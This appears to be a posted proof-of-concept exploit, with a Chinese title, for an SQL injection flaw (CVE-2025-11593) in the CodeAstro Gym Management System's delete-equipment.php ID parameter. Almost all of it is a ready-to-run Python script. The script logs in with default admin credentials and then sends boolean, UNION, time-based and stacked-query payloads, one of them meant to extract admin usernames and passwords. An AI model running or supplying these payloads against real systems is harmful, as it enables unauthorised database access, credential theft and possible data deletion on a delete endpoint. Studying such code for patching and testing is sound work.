CVE-2025-11593：CodeAstro健身房管理系统SQL注入漏洞

# CVE-2025-11593 - CodeAstro Gym Management System SQL Injection PoC # Vulnerability: SQL Injection in /admin/actions/delete-equipment.php via ID parameter # Author: Security Researcher import requests # Target configuration TARGET_URL = "http://target-site.com" ADMIN_LOGIN_URL = f"{TARGET_URL}/admin/" DELETE_EQUIPMENT_URL = f"{TARGET_URL}/admin/actions/delete-equipment.php" USERNAME = "admin" PASSWORD = "admin123" # Create a session to maintain cookies session = requests.Session() # Step 1: Login as admin (low privilege required) login_data = { "username": USERNAME, "password": PASSWORD } session.post(ADMIN_LOGIN_URL, data=login_data) # Step 2: Exploit SQL Injection via ID parameter # Example 1: Boolean-based blind SQL injection to extract data sqli_payload = "1' OR '1'='1" params = { "ID": sqli_payload } response = session.get(DELETE_EQUIPMENT_URL, params=params) print(f"[+] Response status: {response.status_code}") print(f"[+] Response length: {len(response.text)}") # Example 2: UNION-based SQL injection to extract database information union_payload = "1' UNION SELECT 1,2,3,4,5-- -" params = { "ID": union_payload } response = session.get(DELETE_EQUIPMENT_URL, params=params) print(f"[+] UNION injection response: {response.text[:500]}") # Example 3: Time-based blind SQL injection time_payload = "1' AND SLEEP(5)-- -" params = { "ID": time_payload } import time start_time = time.time() response = session.get(DELETE_EQUIPMENT_URL, params=params) elapsed_time = time.time() - start_time print(f"[+] Time-based injection elapsed: {elapsed_time:.2f} seconds") # Example 4: Stacked queries - extract admin credentials stacked_payload = "1'; SELECT username, password FROM admins-- -" params = { "ID": stacked_payload } response = session.get(DELETE_EQUIPMENT_URL, params=params) print(f"[+] Stacked queries response: {response.text[:500]}")